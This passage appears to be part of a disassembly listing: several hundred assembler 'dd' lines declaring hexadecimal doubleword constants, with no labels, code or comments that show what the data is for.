		dd 12118C04h, 0B8FB4596h, 809A59E5h, 1FEFE14Ah,	8BBC946Bh
		dd 6CD28708h, 6A430876h, 0A230E36Eh, 489667A9h,	0CD301B52h
		dd 5495C458h, 0FD2B3BD1h, 2CFE3518h, 0D505AB3Bh, 0F38534B0h
		dd 9607ED5h, 9DF5547h, 51359476h, 0B1E1A130h, 76621596h
		dd 0B13F6EFh, 97D3DEBFh, 4E44FEFBh, 50A139F9h, 0A48FAC0Ch
		dd 0D9CFEB7h, 4AC13DA4h, 27DF7111h, 0DB908E58h,	0E52A0EB4h
		dd 20120D55h, 5F06249Dh, 0B7E87763h, 0B794E25h,	6FDB6244h
		dd 28C31F79h, 6306A814h, 34C326E4h, 8B367F4Ah, 3DE51141h
		dd 873BAEh, 16D31C50h, 0F1268F91h, 0B78ED400h, 66622E34h
		dd 83802118h, 0CE0DAD2Dh, 0AD4E07D5h, 67408877h, 7851F790h
		dd 74EAF509h, 2362FEFFh, 0D4E39020h, 600DB98Ch,	403095E7h
		dd 4AE82059h, 0F9216F14h, 37B2958h, 0E9BC71DEh,	9A947A6Bh
		dd 5B3AD99Fh, 0C27EDFBh
		dd 87B74713h, 0D00B05A5h, 47BF8C1Bh, 652F3FE5h,	55A6A491h
		dd 48660358h, 6F882D08h, 15BDDCB7h, 0A090D3B1h,	0E2F18182h
		dd 0A8B1C61Ah, 32CF4469h, 5DE6C6ECh, 902A6666h,	19DA99Eh
		dd 6483A819h, 7D02FB45h, 47F987FDh, 6981C2E4h, 7F5AE18Dh
		dd 8F31FA37h, 26821AB7h, 31D591E3h, 7951E41Ah, 538D40C4h
		dd 99DD9CB9h, 79A1A33Dh, 0F09D7B82h, 4787082h, 0AF519FA5h
		dd 0A4452046h, 7BA8D65Bh, 0EA2A4A0Fh, 0BC042B03h, 0C78E077Dh
		dd 551F9BAEh, 2F362BD3h, 222841F4h, 99A6590Ch, 0AEC26EC6h
		dd 57A31360h, 10BD56A8h, 2984A70Eh, 0D4A7637Ch,	0A3DFA78h
		dd 6025FC42h, 5DAF6476h, 7E64EF78h, 2094D34Eh, 72DDC010h
		dd 0A216DAAFh, 63491D2Bh, 89C404D2h, 4B417F9Ch,	6E1C527Eh
		dd 336BA89Dh, 0FAC650D9h, 8D14E48Dh, 2B017A3Ah,	46C7A72h
		dd 0F970FD74h, 0BB84DC71h, 0C26201FEh, 8F1F8DFBh, 7E3195D7h
		dd 40385FBAh, 0E23A4CBDh, 13D975E3h, 5B6B9B94h,	4A32C672h
		dd 0DAB269DFh, 3798B0F9h, 49B96683h, 0CA621566h, 0F718A5C0h
		dd 0F1CE541Ah, 83ACEDEh, 5D530146h, 176C66EBh, 1834A381h
		dd 0CC5A5A95h, 0BDEBC601h, 5B6F6518h, 4EF3DE03h, 672354AFh
		dd 0E33794A5h, 0F3FCB7E3h, 755396ABh, 145E24E9h, 7810E29Eh
		dd 10CDE6C8h, 17061B3Ch, 6DF0D5DEh, 69DABC8Bh, 0F1F68E43h
		dd 19685E45h, 0BB33B990h, 52C8B80Dh, 0E56301F3h, 0CA9D0112h
		dd 94BB1320h, 0DED74CF2h, 0DE246C00h, 1DAA4B3Eh, 0E237525Dh
		dd 0E400F009h, 78BB5ED2h, 1CA07EFDh, 0EDA9BC8h,	658D6A63h
		dd 0EDBB14DFh, 0C590C9ACh, 13203DACh, 0B43288B7h, 0DCEC7B0Fh
		dd 18D9F60Dh, 5A1A4FB6h, 6983F3B6h, 17232967h, 5CB735E0h
		dd 84FE7AA0h, 0EDF17F4Eh, 8E16F548h, 61F82B0Dh,	0DFD219ECh
		dd 0B05FCA2h, 0C4F9B333h, 0FEC39527h, 0C1AEE7C1h, 6DF2906Dh
		dd 0E35C11FBh, 539E174Dh, 9F530959h, 2366752Ah,	0A7F59577h
		dd 0AEF1533Fh, 0EC499F57h, 0EE696547h, 0C5125942h, 4155D15Eh
		dd 0F6F299Fh, 555CDF0Ch, 41E4ECADh, 5D84E8D2h, 4F9F01E8h
		dd 0DDCBDD51h, 0C7E860D4h, 97C7F445h, 0CA8C9E71h, 0E5BCF6ABh
		dd 9D774CABh, 9EE435F3h, 487EF1FBh, 5F95C747h, 0C2687B3Ch
		dd 80BB75D3h, 6A83DB48h, 810D8401h, 0C38E8D0Eh,	78D1E527h
		dd 0DBEC9897h, 0B8443D40h, 0B372C0C8h, 8F7839CCh, 1A5167A3h
		dd 8ACB8F04h, 0D6E901DAh, 0B267C0F8h, 1A074E8Bh, 6C85E6AAh
		dd 5E4ACE3Ch, 0CAFD5F93h, 1B12F213h, 4EE7DACBh,	0E09A4DA2h
		dd 0BA42D60Dh, 5E5DB3AEh, 467A6542h, 7F83F8AEh,	2485F4D2h
		dd 0BAD8D4CFh, 0BA54DD20h, 1E8ACF8Ch, 0E7A07AB7h, 82BD3B76h
		dd 359AF3FAh, 0CBD13066h, 0E0C96350h, 3B6A248Ch, 4E440B13h
		dd 0D24EE6A9h, 0B6309338h, 0C6C524D7h, 8F83C5B4h, 6A16BF4Ah
		dd 18A016FAh, 0C555F456h, 15E76952h, 751E51FAh,	0E7759459h
		dd 7842F9BDh, 0AD19A7BCh, 0EDD5D875h, 92EB5B28h, 0B5A530E3h
		dd 3C272C09h, 0EB36B64Dh, 0BE894EA3h, 6163FB30h, 68057792h
		dd 0A15315D1h, 3049F611h, 1E13811Fh, 0E0603521h, 0F33D4CDBh
		dd 0C83D03D5h, 315BCB54h, 29B876AFh, 893DAE87h,	901109Bh
		dd 0FC48B158h, 0CEAFB317h, 0B8ED1644h, 0BA4FD425h, 4C1F4F9Fh
		dd 5F1AD9Ch, 208EEFECh,	5BC22D0Ch, 12D86D7Ah, 0E6392508h
		dd 0F0970CBCh, 5C98A25Fh, 122C9541h, 673206E9h,	3FA4F4B2h
		dd 83E31D0Bh, 693C8ED5h, 0DFDAEE24h, 0A13D5EDFh, 279C18D5h
		dd 17694DEBh, 0E6F22F92h, 2F447C73h, 5EAB1BB3h,	0B3BA68B1h
		dd 0D4505541h, 0F12ABF14h, 608B4C42h, 6823B4C0h, 457CE47Ah
		dd 7F38B83Dh, 5DE07CC9h, 0BE588966h, 0AA2B7764h, 0B479CC0Eh
		dd 0B1DE54D4h, 0E9FEFFB9h, 8F379259h, 7950266Dh, 166E5B64h
		dd 774B33B9h, 0B5355385h, 90991C3h, 8C1C611Ah, 475A3795h
		dd 8411A46Bh, 0E7AA9040h, 0A2F26D93h, 0C7D8CDB8h, 0C0F254EDh
		dd 0FEC3EB1Fh, 0EFC3AFE3h, 0BB7F7564h, 65B8D691h, 0EC1519DDh
		dd 637C8AE0h, 0E5D14B5Eh, 4B18D981h, 3B4059F5h,	0AABAB9F5h
		dd 0E2C796BAh, 0CA84B623h, 5B671219h, 6C09763Bh, 0D22F3447h
		dd 0BAAADA2Ah, 9DE11087h, 0F8F3F641h, 16DBA3DEh, 5BB88837h
		dd 0D5B08EE8h, 0D7996B33h, 4F16658Dh, 12EA10B7h, 5AFFA754h
		dd 0F106CFA6h, 0BADA03D8h, 1DF733A3h, 906E66D1h, 0EB2875FEh
		dd 1C8FDE68h, 6F8537E1h, 2D8BFA3h, 5B783C80h, 9B50D2F2h
		dd 0DE327A5Fh, 0C253F9A0h, 9F314F58h, 0ADEFD6DDh, 93E14543h
		dd 288349D9h, 0DFC23D2Ch, 52CD1D98h, 4EC5D5F9h,	0D55512A6h
		dd 87308D1Bh, 2DF1D8A0h, 9AF9C258h, 3D4DE54Fh, 6EA9FD50h
		dd 0AD01EAB6h, 0C761BB0Fh, 0FC674176h, 43D57FB9h, 57B22F6Ah
		dd 0ADFD5F73h, 0CC0FDB55h, 8CD2957Dh, 57F2B028h, 83EEE3FEh
		dd 8BBE97DEh, 0ED5F37Eh, 0F0801766h, 0EC482603h, 9F6012BBh
		dd 0E5F92BB7h, 31CE0519h, 0C0B035A3h, 338B6F14h, 0E73FB97Eh
		dd 66C97E15h, 8260CDF9h, 550CA40h, 2BC4BD9Bh, 0F66C50B5h
		dd 9235B200h, 9E518520h, 0FF7F18E5h, 25A9227Bh,	39130C71h
		dd 1B448973h, 0F39E9B33h, 0F8E71D45h, 4010D76Eh, 0E3131807h
		dd 6060C744h, 4FE0BF38h, 15D4CEA9h, 8336B8Dh, 0FDEC12C2h
		dd 9C22D3F1h, 0D0CC6088h, 80119A92h, 9B3C7718h,	0C358E5Fh
		dd 0E803AD72h, 4BA490AFh, 0DA3E6983h, 0B82433F3h, 64CAB946h
		dd 0FA6C3E7h, 0D61E9C71h, 95FD10h, 0FAE3061Fh, 3CFC9D1Eh
		dd 6E7DC98Ch, 0BCF9E1B9h, 0C96B4D31h, 8A469B3Ch, 0D8957F06h
		dd 5D1573BCh, 0D5BACD45h, 26C3DE94h, 42FD6346h,	261EA615h
		dd 49DE5189h, 0ACA25DE4h, 17C0DEF1h, 21FED0D9h,	284536C6h
		dd 683A04F5h, 0EBB7D036h, 42C516FFh, 0BE7CED6Bh, 0B45CD6A4h
		dd 3DECB52Ch, 9588E3C2h, 718A57D1h, 54DEB8DEh, 9C087753h
		dd 294D9CD6h, 5A7063DDh, 0A3C7F71Bh, 1955A91h, 411FA91Fh
		dd 0B462A5D0h, 42307403h, 0A32CC04Eh, 7950EF9Eh, 0B069A3B4h
		dd 9DA8FC0Fh, 41B50AD8h, 7883AD5h, 17DB158Fh, 6052C2EBh
		dd 0D929F9F1h, 7232C019h, 0FA22E033h, 0BDBE3DEEh, 5B0A170Fh
		dd 0EFCAF4AAh, 0AA57CD1Ch, 5A1D090Ch, 0E051CE6h, 2ED52C59h
		dd 87F64A6Fh, 4AF5BB2Bh, 0CDB63637h, 81C7FDB7h,	0DB507BBBh
		dd 6C67F6F0h, 1E2951F2h, 1790B85Ah, 2E483CFEh, 0F00F6681h
		dd 0A399931Bh, 69B2EFC1h, 0C0378546h, 6DC163E8h, 7C31AA59h
		dd 301FAED6h, 67DCF656h, 6FC555A6h, 6B9E3672h, 522C60h
		dd 0CF15839h, 362E4046h, 4569F72Ch, 0DE15C1BDh,	0E78DE330h
		dd 0F7CC7CA6h, 0FF541CE8h, 3F8671D9h, 523B107Dh, 0C6B5CFE2h
		dd 7CBB1309h, 0DEC2B95Dh, 85FD621Bh, 142D90C2h,	0EC159675h
		dd 0C0277514h, 6CF2AB74h, 76CC02BEh, 0E40DD2ECh, 88A0C8EDh
		dd 46F5CC9Dh, 8895B086h, 6C9FC444h, 913ADC53h, 0C2E38E9Ah
		dd 0ECC2FFF0h, 49B78371h, 3C43042h, 231B2900h, 45130A02h
		dd 0B70AB597h, 61CE832Dh, 76793A58h, 0C8DF137Ah, 4CB4ADDFh
		dd 6AE2F6E5h, 41828B36h, 4914CF7Fh, 0D03A160Ah,	0DEF07EC1h
		dd 0F510B3C3h, 8E51D7C1h, 1DB6E319h, 6F693E34h,	1055A2EBh
		dd 779DE748h, 0E14FC285h, 58F1A53Dh, 0D33BE490h, 0D62E0BFBh
		dd 8A35DB27h, 0E0EAD6FAh, 73BCBD99h, 76C5BD5Fh,	27EFE16Fh
		dd 3F0CE208h, 49F21EADh, 0EE0C8D73h, 6DC1E1C8h,	2839C7F9h
		dd 83ABCA60h, 7B9C92E6h, 27A840FCh, 3B8F53BDh, 0D82EAC73h
		dd 8DC01AE3h, 56BA52B5h
		dd 72150CDh, 0F6C25423h, 11A00FFCh, 7ACB9AC9h, 2DEB47A8h
		dd 0BF85C83Ah, 2DEB947h, 191CE256h, 19A68981h, 3D25969h
		dd 6567B794h, 6B77AFEAh, 0AF02015Bh, 0ED8F1C59h, 0B3B66606h
		dd 69F89A72h, 9470DD89h, 5D2EA5C5h, 654EFE5Eh, 0CBF6D6D3h
		dd 625FAD7Dh, 0C8352DCEh, 0ED1C18E6h, 28CCC0C6h, 0CA4B32DCh
		dd 4FA95B5Bh, 0B7EAE08Ch, 0D5FF8D1Ah, 0BA85CD11h, 730280A5h
		dd 0C7619CD0h, 5D493A0Eh, 293C470Bh, 92B0ACDh, 0BF595779h
		dd 0D2B020B7h, 1F0D8D62h, 0F0A4B1BDh, 3434B5Fh,	0F8FCF285h
		dd 2C52A5B7h, 8E7DF56Eh, 0F7F075Bh, 7B5A05D6h, 28807235h
		dd 7A6C5A7h, 0BCD252ECh, 124B4B95h, 17FDD348h, 113466EDh
		dd 23164924h, 1FA789E6h, 3A07107Ch, 1A4DABCFh, 61A16CEDh
		dd 47C72D70h, 1837C774h, 15D4F372h, 51A5D4BAh, 5A80BA7Ah
		dd 708FC818h, 0D16A74E8h, 0DBC979EFh, 0D025E04h, 5792591Ch
		dd 8A378CEFh, 6CB65236h, 0F920C25Ah, 0DE27A416h, 64523638h
		dd 54E8621Fh, 4A071C80h, 71A96D2Ah, 0AB3D690h, 793D5F3Bh
		dd 0AB48B973h, 8323D511h, 95444964h, 70B01701h,	0B38BDE6Bh
		dd 32F0D2E0h, 0B0582F97h, 7664A5Fh, 0FB1C3830h,	495512FAh
		dd 277DE2F2h, 6D65FEC8h, 0ACEA2AF0h, 9957C2FEh,	5F0AB2C8h
		dd 47BC063h, 2E5B8504h,	67FBD8A8h, 3B2D8299h, 5BFCB8B1h
		dd 8DD424EBh, 1AC231F0h, 7464F77Dh, 0BAB87652h,	0F9D3499Ch
		dd 7130A2DBh, 0DE5CF5C3h, 797D38D7h, 14A59DB7h,	0C1C95DE4h
		dd 0E22888DCh, 91ADBAF1h, 0F556A289h, 52911027h, 35E3AF4Bh
		dd 0F967E334h, 61E2D2ACh, 0F1DDDFBCh, 2CE67257h, 5F22F00Ah
		dd 0E65EAA44h, 52C5C5CDh, 9AC14518h, 0A715F56Bh, 0E56BF945h
		dd 3BF38934h, 0EA27424Bh, 66972135h, 0A52BA21Bh, 0CC71B350h
		dd 991AA1FBh, 1CC9EBACh, 0E03B1F22h, 2636B1E8h,	157097C6h
		dd 0AFBF844h, 13C52C63h, 2DB7E6Ah, 4A4497A3h, 12325E33h
		dd 65D501D4h, 0F3AD77A4h, 84794EDBh, 684061h, 8D1D0D9Dh
		dd 0AA5E407h, 971C28A5h, 84E77CE7h, 369627C8h, 0C64A9E21h
		dd 155D8964h, 0C7C182A4h, 0F03FF504h, 0C92CB48Fh, 341963E4h
		dd 0BBDF5344h, 8A3C9E07h, 57574908h, 0DD52CFBFh, 0EC5B0AE3h
		dd 3B16AE1Ah, 5E11F6A9h, 0A45C7810h, 86A72440h,	97AE8B67h
		dd 6DFB0118h, 92CAD058h, 0F90C3799h, 7F7A04A5h,	0AB97DFE4h
		dd 57822364h, 96FA3448h, 0CE03C334h, 3E19F37Ah,	0E4DC4F0h
		dd 81880209h, 0DD6ED732h, 958115E3h, 0DDDD0E7Bh, 456D8DE5h
		dd 783BEBA4h, 0C39F3C64h, 0A3BBE52Dh, 0B27D4174h, 0F77C34Dh
		dd 0DD60AFAAh, 89D64089h, 3B9AEA15h, 0F40830B6h, 0B88AB917h
		dd 0F383E44Ch, 0F0FD4503h, 6C4012E2h, 0AD555442h, 3C8FBF5Ah
		dd 0E26C198Eh, 0EF2B5772h, 26B8599Bh, 0F4B83DB5h, 0E6BA18E8h
		dd 219F93FAh, 0B602C95h, 0DD8C9ED3h, 32B7B7CCh,	7C07AA1Dh
		dd 0F22B7E97h, 3220CA6Ch, 5641E51Bh, 49B4EFC2h,	0FA4DAE98h
		dd 805C7E2Fh, 15F938E0h, 60936776h, 0B098F738h,	9741B7F8h
		dd 2280C94h, 1F3F039h, 0DA4657E9h, 2EEC3D7Eh, 0B85E626Ah
		dd 374D0B7Fh, 1DF62699h, 56C0F951h, 184459DEh, 5AB0D12Ah
		dd 3B9E6AB0h, 0A94B2F5h, 199CEB27h, 2F37A56h, 11A2AE0Bh
		dd 4179491Dh, 6A14DF69h, 5ABC473h, 0A8DFC6C6h, 7F2EFD85h
		dd 4DD336EAh, 0E6E6B2EBh, 0C7D68E6Fh, 461C87A8h, 9A315C97h
		dd 0FABB8C9h, 0CC73ADA5h, 0EC98F5EBh, 5C918D9Fh, 87CDFDE6h
		dd 0CC8B260Fh, 71538874h, 46012F24h, 370DB879h,	5BA78776h
		dd 5D955DA6h, 8EA54E96h, 51CC5E17h, 9060C8B1h, 0D59F728Dh
		dd 5E624838h, 3C7419DDh, 0E2BD988h, 47AACE4h, 3ACD0A03h
		dd 0E8AA76C9h, 76DCBF4Eh, 6415A848h, 8A783BDFh,	0B7E8E2B3h
		dd 0C50F1128h, 0A3C0D79Ah, 29DE204Ah, 0EF43497Dh, 0D637BF75h
		dd 14D7AECAh, 1EA21F28h, 0C3EDE74Dh, 0B37A36E1h, 0F5AA75CFh
		dd 7C217C86h, 7B7F320Eh, 8E9479B7h, 8A9A0195h, 0AB2EF166h
		dd 0E80209BCh, 5899C1FBh, 0DBD6C51Bh, 4FDD2F58h, 4B71B8A5h
		dd 134EA305h, 0F40AFAC9h, 9E858BBh, 112D34h, 0BE8FD183h
		dd 388F68DEh, 18BF52EBh, 2A026B2Fh, 8A3554FCh, 0D4EB6F0Bh
		dd 0B2DB9F4Ch, 0D949745Dh, 79C6AD24h, 348700FCh, 0C4E7C379h
		dd 28EA1E37h, 7C1F785Dh, 0D7690A43h, 2075362Ah,	0A0CE16Bh
		dd 5BDF0529h, 0B5809732h, 4A9F9129h, 49C5EDCBh,	4B347E7Eh
		dd 0AE3A8569h, 8239583h, 67527A5Bh, 0A360D794h,	599231D2h
		dd 7781D3ACh, 0E5B9148h, 87169A65h, 478C1496h, 6989A69Bh
		dd 5D721C07h, 7CEF0392h, 155C9BA9h, 852B9BA8h, 81E32074h
		dd 95096883h, 714786Dh,	0BECF184Fh, 0EE7AB556h,	789010AAh
		dd 66F680D7h, 80B788AFh, 75468EE0h, 0F2FAE955h,	32A9A4B0h
		dd 2F574CD7h, 0E0B07173h, 517A783Ah, 0DDECA1B3h, 69A9B392h
		dd 4B0055BEh, 3D9EF957h, 0D0B12D80h, 8A36A219h,	0A9CD05FEh
		dd 0F8ADEB7Ch, 0A6FD61D6h, 7A8142C5h, 0C072E783h, 751BA07Fh
		dd 91F8F167h, 672FD13Dh, 0EFFEECDAh, 0AD7859E8h, 28075567h
		dd 77F284A8h, 0B4632A98h, 0DA943CBEh, 88932B59h, 0CDE65E25h
		dd 9AA2D063h, 7FB50C6Fh, 0A530FA35h, 78DD536Fh,	0D229B695h
		dd 0D519B59Ah, 5514CBBDh, 0A5CD0422h, 0D9D4AD2Bh, 2CFD7EC9h
		dd 76902507h, 771292EAh, 1BE88904h, 54DC26CAh, 493E07FEh
		dd 0A5212A25h, 9ADBA7E5h, 0A829512Dh, 9673CC09h, 553216DEh
		dd 0C5571A0h, 5440E702h, 106B572Bh, 0BD199A71h,	2899F777h
		dd 5F0D5C12h, 55ABC20Ch, 9ABCE05Bh, 321EA31Ah, 0D47D86BEh
		dd 8B7D86C6h, 0B20C4B56h, 7B948392h, 0C55A375Eh, 5EE1C74Bh
		dd 471B612Eh, 71ACD3BEh, 0B5B6DC93h, 5FC912E1h,	9FE325CAh
		dd 7F19572Ch, 0F3422E4Ch, 25042EB5h, 4A687DD9h,	3E39734Dh
		dd 0FFC9F8CAh, 8E8EC47Fh, 0A3593BBCh, 18C4ACA1h, 0AC4009A4h
		dd 1536573Ah, 9EF54475h, 24E3767Ch, 0F40BFF55h,	381BC0D2h
		dd 7C9959D9h, 0D6C3F497h, 96099176h, 8F909A38h,	549CC429h
		dd 0C05AC1B5h, 3A006FCBh, 68506E0h, 610816F0h, 604361D5h
		dd 0A0A50738h, 286CAF22h, 93B3913Fh, 4DDA4CBEh,	37057155h
		dd 4FBF0940h, 0CF1CC9EFh, 1F1C4488h, 1DC68845h,	6C512B4Ch
		dd 75E4F70h, 4F043FDCh,	0B148687Ch, 344AE98h, 0BB33FCCDh
		dd 0B2390658h, 54A16D56h, 0B85B7A87h, 9EFEB682h, 4BC7BF42h
		dd 24132A49h, 0A33A837h, 0A0921996h, 1D796F4Bh,	0F695CF8Ch
		dd 5BF42D8Ch, 0C72E25AEh, 0F8B4BD20h, 0CA7F5C38h, 5766D505h
		dd 7259D9A3h, 2D0D5B47h, 0A0D22D8Ch, 3E7A0792h,	0AA0EC66Ch
		dd 0B45B8687h, 0B30AE69Ch, 0C57F4065h, 83C6D4Dh, 24B7AD01h
		dd 48894DEh, 0FB5FC12Ah, 0DABEEEE6h, 0A1EB48Dh,	96CF2DD5h
		dd 31A30F24h, 2422F1AFh, 0E4DDC4F4h, 0F2449FCDh, 0C324B79h
		dd 98A6F12Ah, 26FB303Eh, 89453515h, 0EDEE66D4h,	3F68068h
		dd 68BF3251h, 591E491Ah, 0EEED1B77h, 2D53D47Ah,	0B51751CEh
		dd 71B1DEEBh, 31094D65h, 58B9427Eh, 943614F1h, 5E862128h
		dd 0A20A51CDh, 0E0723DA1h, 0B13D04Bh, 8700B272h, 148FC733h
		dd 68049DDEh, 6F602841h, 9970DA02h, 0EC6C30C3h,	0FD435E0Eh
		dd 0B51676D1h, 3BE92565h, 5603EF7Bh, 0BBBAB149h, 4DCACA6h
		dd 87613D21h, 9DB3746Ah, 76EA2640h, 0F50EF886h,	0E161F652h
		dd 0F4CF89Dh, 6E9A943Eh, 6FE6B9AAh, 0ABCB556Eh,	397C2303h
		dd 3D51E034h, 0B90546DAh
		dd 81BEC8Ch, 0E3C92A9Dh, 0CEB04DAEh, 8CA0D376h,	3367B307h
		dd 86264E6Ah, 742777D0h, 7BF98B21h, 1F2DD3A8h, 0FBE4F6E6h
		dd 0CCF5966Ch, 0D76C3240h, 0F5B0E46Dh, 89A5B666h, 1A08EB7Fh
		dd 3FCAC618h, 0B3F96FFBh, 0E086882Dh, 5132D3C9h, 3BF67E61h
		dd 0D7C7EDA3h, 0D7BD8A6Fh, 525E3B87h, 32BCD44Dh, 0FBC48504h
		dd 1DB629B8h, 52CA041h,	91529430h, 9E3A535Ch, 54AA230Eh
		dd 84F31361h, 0A568D14Dh, 0BD8CBE2Bh, 5FAF8E01h, 0E05B2E3Bh
		dd 0E7851B47h, 2EC7AF83h, 95EFA1F9h, 77372E47h,	0A1C2039Dh
		dd 0D710E66Ch, 0B18BB5C8h, 29B801D2h, 0AC364336h, 4A00E2DEh
		dd 308F15DAh, 0A5F55C3Eh, 0AC9257E3h, 7D581FEAh, 0F983CAA1h
		dd 8347F14h, 0EE092A74h, 4C8B9508h, 3BDE00B8h, 2455E6C6h
		dd 1041B90Ah, 1CFF3993h, 0C3FAB9B4h, 0BB3B48ACh, 0C82F4F89h
		dd 1AD077Ch, 390F0F7Fh,	67EEC69Bh, 2A867343h, 415C86EDh
		dd 4AD88F4Fh, 0B9D1034Dh, 32B7E4Fh, 0CB9DEB69h,	4EF86B1h
		dd 15BBBEF6h, 31BFD08Ah, 4F91503Ch, 43D2AF99h, 0ADD52A2Eh
		dd 63A2F400h, 0CA3741C9h, 87C931F1h, 0AFAA3A35h, 0C50FBB33h
		dd 0FEB55755h, 4ED28C68h, 0A74A1ABFh, 4336FC82h, 8B1E6F7Ah
		dd 325D142Ah, 4F861AA1h, 25FEEE54h, 833BDB76h, 0EFEE7D69h
		dd 0F785E835h, 0D111E7CAh, 0FB5FE0EFh, 58BA821Eh, 628F9AE1h
		dd 0D286F5B6h, 3DE394F0h, 0DE358F2Bh, 0E8447019h, 0C231231Bh
		dd 9A408D20h, 0A1DB3CD3h, 7B897D29h, 7F7563A4h,	5F1850B0h
		dd 0F041D343h, 1037BFF1h, 75FB5018h, 28FAB9BEh,	6D1E8CC0h
		dd 0B5854BE7h, 0AECDEA21h, 0D0BF00A0h, 0FADE882h, 867879EFh
		dd 0D4B80993h, 0F656290h, 0B1FAA93Ch, 0BF1DCCC2h, 0B904E0AEh
		dd 1E7F2F3Eh, 0D9729BF4h, 0DEA30368h, 67165BA0h, 3B96CD7Eh
		dd 0D95ECB5h, 5AA8D422h, 8CF45D90h, 0EA23D942h,	2B4E2BE5h
		dd 5B236134h, 41BCEAA8h, 0DB188256h, 4DD282D1h,	544B2FCCh
		dd 0BED53410h, 8C7527A2h, 0CFB816BDh, 5CD588FCh, 0EFA89245h
		dd 12FD58F4h, 0E16A976Eh, 5CB430A5h, 6CDA9519h,	0A8C59027h
		dd 30EAE871h, 2C04F619h, 0B28DD7F1h, 53F39C1Fh,	3DDA0E03h
		dd 4C342DC8h, 911B2146h, 1DD42167h, 2FFACF2h, 0F66010CCh
		dd 3D394B2Ch, 623E6C24h, 8FD7B9DDh, 132BA1F3h, 0C8575F72h
		dd 0AE3EBF44h, 0E9C6C4E5h, 0E8D65BA2h, 230B94ABh, 6621237Fh
		dd 50BE1935h, 703B0080h, 4FC108C4h, 2C3D628h, 94BF26EAh
		dd 2CB61571h, 33273250h, 907A8673h, 9FF3A2D7h, 45C1388Fh
		dd 0C5FCE1B6h, 8E557D93h, 0A20061C0h, 0B7106D7Eh, 0DC4FAD8Ch
		dd 4097F922h, 0AFA16CF7h, 625A5722h, 2708C6DEh,	0F3CBED84h
		dd 7F9F48FDh, 0AB46F7EAh, 6E061B05h, 391EB33Ah,	2EED15Eh
		dd 45DCC10Bh, 12C46DFEh, 56F146B3h, 0F23F47F4h,	0A875A440h
		dd 290949BCh, 3D2F23Eh,	141E2638h, 0C65B324Fh, 66D57BBCh
		dd 7C70046Eh, 561A338Eh, 0EC48F766h, 6AC52625h,	0D5865AD4h
		dd 173A410h, 0E47A54F9h, 82476366h, 77F64BE4h, 1A6064B2h
		dd 0BB0B1FD0h, 0FABC2FF0h, 2049AD6h, 9ACA72A5h,	0FCF5982Eh
		dd 0DA490625h, 0ABA2324Ah, 0C8C69C9Fh, 0E4F42297h, 524B33D6h
		dd 750B1EC4h, 823A223Dh, 16E9180Ch, 1BE00A0Ah, 3F554275h
		dd 7C9E8122h, 717A3F89h, 0B9C36556h, 0A9C3535Fh, 0F79AB20Bh
		dd 0E4F69221h, 0D76C1F81h, 77E4FAAh, 0C47F0B22h, 55E174D3h
		dd 3FE52ECh, 63BFF033h,	227A101Ch, 0F812ABEDh, 0CB8D6A5Bh
		dd 0AF20339Eh, 112954A0h, 8A60C89Bh, 82321A3Fh,	5C6CDF76h
		dd 0B7D4955Bh, 0DB3877F6h, 0C9E59708h, 5248C5ABh, 0B46744FBh
		dd 76846CCBh, 516E732Fh, 9E0E6F55h, 2E43D3C3h, 16A3ED8Fh
		dd 9A2D02AAh, 0E05CEA8Bh, 0EC44FC07h, 3DBDF988h, 0C8F72705h
		dd 0DBD635E6h, 5926F3FBh, 2B8E212Ah, 0EEB27113h, 21ADCFBAh
		dd 0BF0EFF43h, 6B68AE10h, 0D262AE42h, 32D3AC6Dh, 391E7CD4h
		dd 0EA945D95h, 0BB4E687Ch, 6F5B3DD1h, 0C729D925h, 3D6A2FD0h
		dd 0F5F689Dh, 0B58BB467h, 71160DFEh, 8F40E7FEh,	94226517h
		dd 883F7738h, 572BC1BAh, 5B0964E7h, 82C3715Dh, 1B9E5E2h
		dd 86A700B7h, 0A7EF0C83h, 70120681h, 541C91h, 88204Fh
		dd 0C60C835Ch, 17E8FB51h, 55DED08h, 0A5C02B02h,	834F8685h
		dd 0DC81C567h, 82F18D09h, 8C67BB95h, 0ED0DDE6h,	23907C55h
		dd 168AA5C2h, 84303584h, 3FD7A688h, 1BB1A090h, 111E2F47h
		dd 0CADDA2BBh, 412055A7h, 63B53277h, 8F08B482h,	6B6DC31Dh
		dd 879C489Fh, 1C27FFD9h, 0D868F3C6h, 0C87A4BD0h, 0F52BC697h
		dd 0C5007A44h, 0A4D20F35h, 8C6DA275h, 582528E5h, 0CBD84D43h
		dd 24442724h, 5F2A5485h, 1D26A9EFh, 0A3F503A7h,	0CE8F8592h
		dd 0E474CAC9h, 279FC9DBh, 0C4F1E30Ch, 5C110BFEh, 80D40B6Eh
		dd 1D93F15h, 41B66208h,	76F049ABh, 0B7403E0Fh, 7B717BFDh
		dd 0F4EAEC7Ah, 0DDA1A97Ah, 0EC8A95DEh, 0AFB5D142h, 0ACCFB663h
		dd 0C6986F2Bh, 0C4526137h, 5A3BADC8h, 8579D3CFh, 95DB3501h
		dd 69283D0h, 6C9AED5Ah,	0E557273Dh, 0A4CBA707h,	0D53406A3h
		dd 27EAA8B4h, 0BE97A612h, 0C5650688h, 0B4768E1Fh, 45BB8FBCh
		dd 2757ACB6h, 2F222D52h, 3D48160Ch, 0FEC75C94h,	37335424h
		dd 0F029E51Bh, 0B239C2ADh, 0F43AFDE7h, 9A404B48h, 271BE0EEh
		dd 7E437EBCh, 213A5379h, 0BAAF3255h, 981B979Eh,	9776A8D2h
		dd 66135A4Fh, 18CE813Fh, 472BD9BBh, 62B0512Bh, 871B60B5h
		dd 7B6AB42h, 0C10EE590h, 7ECA95F2h, 0AEBCB211h,	0BCBAF09Dh
		dd 0C1BF32FBh, 96DABD4Ch, 3058FEA6h, 9D7B4729h,	875D4DA6h
		dd 0BC780E46h, 6AE18797h, 0C345CDCFh, 0C1F3A30Dh, 0CFE630B0h
		dd 0DC05A383h, 0F0FBECEDh, 0DFA4AF2Dh, 78DDA29Fh, 0BB09C7F9h
		dd 1852FE0h, 39773154h,	0C671AFF5h, 285D477Fh, 0DB74ED58h
		dd 551986C7h, 506139EEh, 0DD2591BBh, 0C841B4E7h, 0AE9A3612h
		dd 0F3C074F5h, 0D665CF1Ch, 0B3216381h, 1C955553h, 0EEC9F626h
		dd 0D4B3C02Fh, 328B5831h, 470E3C28h, 0B16EC759h, 0D60E1576h
		dd 1E9F1706h, 0EA99EB18h, 51D3ABFBh, 772346CEh,	0E8A3F026h
		dd 0E788BED4h, 0C5F3AEEAh, 171EECBEh, 16AD94C8h, 1DBC6865h
		dd 4EC407C5h, 0C7B9E1A3h, 874850E0h, 1FFEEAA1h,	599D1E4Ah
